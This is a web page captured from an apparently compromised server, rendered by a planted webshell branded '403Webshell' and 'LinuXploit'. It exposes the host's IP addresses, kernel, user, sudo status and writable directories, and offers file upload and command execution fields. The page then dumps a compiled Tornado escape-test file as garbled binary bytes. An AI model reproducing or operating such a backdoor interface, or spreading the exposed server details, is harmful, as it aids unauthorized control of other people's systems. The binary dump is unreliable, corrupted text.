403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/tornado/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/tornado/test/__pycache__/escape_test.cpython-311.pyc
�

��bT0��0�ddlZddlZddlmZmZmZmZmZmZm	Z	m
Z
mZmZddl
mZddlmZmZmZmZmZgdidf�didf�d	id
f�didf�d
idf�didf�didf�didf�didf�didf�didf�didf�didf�did f�d!id"f�d#id$f�d%id&f�d'd(d)d*gid+f�d,d(d*gid-f�d.id/f�d0id1f�d2id3f�d4id5f�d6d(d)d7gid8f�d9id:f�d;id<f�d=id>f�d=d?d@id=f�dAd@d@dB�dCf�dDdEd@idFf�dGidHf�dGd(dIgidJf�dKdLdMidNf�dOdLdP�idQf�dKdLdR�idNf�ZGdS�dTej��ZdS)U�N)
�utf8�xhtml_escape�xhtml_unescape�
url_escape�url_unescape�
to_unicode�json_decode�json_encode�squeeze�recursive_unicode)�unicode_type)�List�Tuple�Union�Dict�Anyzhello http://world.com/!z8hello <a href="http://world.com/">http://world.com/</a>!z0hello http://world.com/with?param=true&stuff=yeszqhello <a href="http://world.com/with?param=true&amp;stuff=yes">http://world.com/with?param=true&amp;stuff=yes</a>z>http://url.com/w(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaz]<a href="http://url.com/w">http://url.com/w</a>(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaz>http://url.com/withmany.......................................zd<a href="http://url.com/withmany">http://url.com/withmany</a>.......................................z;http://url.com/withmany((((((((((((((((((((((((((((((((((a)za<a href="http://url.com/withmany">http://url.com/withmany</a>((((((((((((((((((((((((((((((((((a)zhttp://foo.com/blah_blahz?<a href="http://foo.com/blah_blah">http://foo.com/blah_blah</a>zhttp://foo.com/blah_blah/zA<a href="http://foo.com/blah_blah/">http://foo.com/blah_blah/</a>z)(Something like http://foo.com/blah_blah)zP(Something like <a href="http://foo.com/blah_blah">http://foo.com/blah_blah</a>)z$http://foo.com/blah_blah_(wikipedia)zW<a href="http://foo.com/blah_blah_(wikipedia)">http://foo.com/blah_blah_(wikipedia)</a>z+http://foo.com/blah_(blah)_(wikipedia)_blahze<a href="http://foo.com/blah_(blah)_(wikipedia)_blah">http://foo.com/blah_(blah)_(wikipedia)_blah</a>z5(Something like http://foo.com/blah_blah_(wikipedia))zh(Something like <a href="http://foo.com/blah_blah_(wikipedia)">http://foo.com/blah_blah_(wikipedia)</a>)zhttp://foo.com/blah_blah.z@<a href="http://foo.com/blah_blah">http://foo.com/blah_blah</a>.zhttp://foo.com/blah_blah/.zB<a href="http://foo.com/blah_blah/">http://foo.com/blah_blah/</a>.z<http://foo.com/blah_blah>zG&lt;<a href="http://foo.com/blah_blah">http://foo.com/blah_blah</a>&gt;z<http://foo.com/blah_blah/>zI&lt;<a href="http://foo.com/blah_blah/">http://foo.com/blah_blah/</a>&gt;zhttp://foo.com/blah_blah,z@<a href="http://foo.com/blah_blah">http://foo.com/blah_blah</a>,z&http://www.example.com/wpstyle/?p=364.zZ<a href="http://www.example.com/wpstyle/?p=364">http://www.example.com/wpstyle/?p=364</a>.zrdar://1234�permitted_protocols�http�rdarz%<a href="rdar://1234">rdar://1234</a>z
rdar:/1234z#<a href="rdar:/1234">rdar:/1234</a>z'http://userid:password@example.com:8080z]<a href="http://userid:password@example.com:8080">http://userid:password@example.com:8080</a>zhttp://userid@example.comzA<a href="http://userid@example.com">http://userid@example.com</a>zhttp://userid@example.com:8080zK<a href="http://userid@example.com:8080">http://userid@example.com:8080</a>z"http://userid:password@example.comzS<a href="http://userid:password@example.com">http://userid:password@example.com</a>zFmessage://%3c330e7f8409726r6a4ba78dkf1fd71420c1bf6ff@mail.gmail.com%3e�messagez�<a href="message://%3c330e7f8409726r6a4ba78dkf1fd71420c1bf6ff@mail.gmail.com%3e">message://%3c330e7f8409726r6a4ba78dkf1fd71420c1bf6ff@mail.gmail.com%3e</a>uhttp://➡.ws/䨹u1<a href="http://➡.ws/䨹">http://➡.ws/䨹</a>z<tag>http://example.com</tag>zJ&lt;tag&gt;<a href="http://example.com">http://example.com</a>&lt;/tag&gt;zJust a www.example.com link.zAJust a <a href="http://www.example.com">www.example.com</a> link.�require_protocolTz:A http://reallylong.com/link/that/exceedsthelenglimit.html)r�shortenz�A <a href="http://reallylong.com/link/that/exceedsthelenglimit.html" title="http://reallylong.com/link/that/exceedsthelenglimit.html">http://reallylong.com/link...</a>z6A http://reallylongdomainnamethatwillbetoolong.com/hi!rz�A <a href="http://reallylongdomainnamethatwillbetoolong.com/hi" title="http://reallylongdomainnamethatwillbetoolong.com/hi">http://reallylongdomainnametha...</a>!z/A file:///passwords.txt and http://web.com linkzLA file:///passwords.txt and <a href="http://web.com">http://web.com</a> link�filezSA <a href="file:///passwords.txt">file:///passwords.txt</a> and http://web.com linkzwww.external-link.com�extra_params�rel="nofollow" class="external"z`<a href="http://www.external-link.com" rel="nofollow" class="external">www.external-link.com</a>z;www.external-link.com and www.internal-link.com/blogs extrac�4�|�d��rdndS)Nzhttp://www.internal-link.comzclass="internal"r)�
startswith��hrefs �:/usr/lib/python3/dist-packages/tornado/test/escape_test.py�<lambda>r!�s%�����=�>�>�*3�);�);�2��z�<a href="http://www.external-link.com" rel="nofollow" class="external">www.external-link.com</a> and <a href="http://www.internal-link.com/blogs" class="internal">www.internal-link.com/blogs</a> extrac��dS)Nz%    rel="nofollow" class="external"  �rs r r!r!�s��&M�r"c�P�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
dS)
�EscapeTestCasec�|�tD]3\}}}tjj|fi|��}|�||���4dS)N)�
linkify_tests�tornado�escape�linkify�assertEqual)�self�text�kwargs�html�linkeds     r �test_linkifyzEscapeTestCase.test_linkify�sU��"/�	+�	+��D�&�$��^�+�D�;�;�F�;�;�F����V�T�*�*�*�*�	+�	+r"c	��gd�}|D]\}}|�tt|����t|����|�t|��tt|��������dS)N)�z<foo>z&lt;foo&gt;r4)s<foo>s&lt;foo&gt;)z<>&"'z&lt;&gt;&amp;&quot;&#39;)z&amp;z	&amp;amp;)u<é>u
&lt;é&gt;)s<é>s
&lt;é&gt;)r,rrr�r-�tests�	unescaped�escapeds    r �test_xhtml_escapez EscapeTestCase.test_xhtml_escape�s���
�
�
��#(�	M�	M��I�w����T�,�y�"9�"9�:�:�D��M�M�J�J�J����T�)�_�_�d�>�'�3J�3J�.K�.K�L�L�L�L�	M�	Mr"c�d�gd�}|D](\}}|�|t|�����)dS)N))zfoo&#32;bar�foo bar)zfoo&#x20;barr;)zfoo&#X20;barr;)z
foo&#xabc;baru	foo઼bar)�foo&#xyz;barr<)�	foo&#;barr=)�
foo&#x;barr>)r,r)r-r6r8r7s    r �test_xhtml_unescape_numericz*EscapeTestCase.test_xhtml_unescape_numeric�sX��
�
�
��#(�	A�	A��G�Y����Y��w�(?�(?�@�@�@�@�	A�	Ar"c��d�d��dfd�d��dfdg}|D](\}}|�t|��|���)dS)N�ér�%C3%A9�latin1z%E9)rArB)�encoder,rr5s    r �test_url_escape_unicodez&EscapeTestCase.test_url_escape_unicode�s{���
�
�f�
%�
%�x�0�
�
�
�h�
'�
'��/�!�
��#(�	=�	=��I�w����Z�	�2�2�G�<�<�<�<�	=�	=r"c��dddtd��dfg}|D]h\}}}|�tt|��|��|��|�tt|��|��|���idS)N)rBrAr)rBuérCrBrA)rr,rr)r-r6r8r7�encodings     r �test_url_unescape_unicodez(EscapeTestCase.test_url_unescape_unicodes���)�1�
�t�I����-�
��
-2�	O�	O�(�G�Y��
���\�*�W�*=�*=�x�H�H�)�T�T�T����\�$�w�-�-��B�B�I�N�N�N�N�	O�	Or"c��d}d}d}|�t|��|��|�t|d���|��|�t|��|��|�t|d���|��|�t|d���t|����|�t|dd���t|����dS)Nz+ #%z
%2B+%23%25z%2B%20%23%25F)�plus)rG)rGrJ)r,rrr)r-r7�plus_escapedr8s    r �test_url_escape_quote_plusz)EscapeTestCase.test_url_escape_quote_plus
s����	�#�� ������I�.�.��=�=�=�����I�E�:�:�:�G�D�D�D�����l�3�3�Y�?�?�?�����g�E�:�:�:�I�F�F�F�����l�T�B�B�B�D��O�O�T�T�T������4�e�<�<�<�d�9�o�o�	
�	
�	
�	
�	
r"c���|�ttd����t��|�ttd����t��dS)N�foo)r,�typer�strr
�r-s r �test_escape_return_typesz'EscapeTestCase.test_escape_return_typessV��	
����l�5�1�1�2�2�C�8�8�8�����l�6�2�2�3�3�\�B�B�B�B�Br"c���|�td��d��|�td��d��|�ttd����d��dS)Ns"foo"rNz"foo"u"é"rA)r,r	rrQs r �test_json_decodezEscapeTestCase.test_json_decode sn��	
����X�.�.��7�7�7�����X�.�.��7�7�7�	
����T�+�%6�%6�7�7��C�C�C�C�Cr"c	�B�|�ttd����d��ttur`|�tttd������d��|�ttd��dSdS)NrA��)r,r	r
�bytesrPr�assertRaises�UnicodeDecodeErrorrQs r �test_json_encodezEscapeTestCase.test_json_encode)s���	
����[��%;�%;�<�<�i�H�H�H��C�<�<����[��T�)�_�_�)E�)E�F�F�	�R�R�R����0�+�w�G�G�G�G�G��<r"c�L�|�td��d��dS)Nz&sequences     of    whitespace   charszsequences of whitespace chars)r,rrQs r �test_squeezezEscapeTestCase.test_squeeze2s3������=�>�>�,�	
�	
�	
�	
�	
r"c�l�ddiddgddd�}|�t|d��ddi��|�t|d��ddg��|�t|d	��d
��|�t|d��d��dS)N�foo�bar)r^r_)�dict�list�tuplerWr`rN�barrarb)rNrcrW)r,r)r-r6s  r �test_recursive_unicodez%EscapeTestCase.test_recursive_unicode8s����V�$��V�$�%��	
�
��	
���*�5��=�9�9�F�F�;K�L�L�L����*�5��=�9�9�F�F�;K�L�L�L����*�5��>�:�:�<L�M�M�M����*�5��>�:�:�F�C�C�C�C�Cr"N)�__name__�
__module__�__qualname__r2r9r?rErHrLrRrTrZr\rdr$r"r r&r&�s�������+�+�+�
M�M�M�A�A�A�	=�	=�	=�O�O�O�
�
�
�C�C�C�D�D�D�H�H�H�
�
�
�
D�
D�
D�
D�
Dr"r&)�unittest�tornado.escaper)rrrrrrr	r
rr�tornado.utilr
�typingrrrrrr(�TestCaser&r$r"r �<module>rms�����������������������������������&�%�%�%�%�%�0�0�0�0�0�0�0�0�0�0�0�0�0�0�}�	#�
�C��}�	;�
�|��}�	I�
�h��}�(	I�
�o��'}�2	F�
�l��1}�@	#�
�J��?}�J	$�
�L��I}�T	4�
�[��S}�^	/�
�b��]}�h	6�
�p��g}�r	@�
�s��q}�|	$�
�K��{}�F	%�
�M��E}�P	%�
�R��O}�Z	&�
�T��Y}�d	$�
�K��c}�n	1�
�e��m}�x	�	��� 0�1�0��w}�B	�	���)�.��A}�L	2�
�h��K}�V	$�
�L��U}�`	)�
�V��_}�j	-�
�^��i}�t	Q�	��� 3�4�	V��s}�@	#�
�H��}�J	(�
�U��I}�T	'�
�L��S}�^	'�	�T�"�'��]}�h	E�!�d�3�3�	o��g}�t	A�	�D��	o��s}�@	:�
�W��}�J	:�	���)�^��I}�T	 �	�:�;�k��S}�^	F��3�3�	
�
	t�	�]}�r	 �	�M�M�N�k��q}�
�@nD�nD�nD�nD�nD�X�&�nD�nD�nD�nD�nDr"

Youez - 2016 - github.com/yon3zu
LinuXploit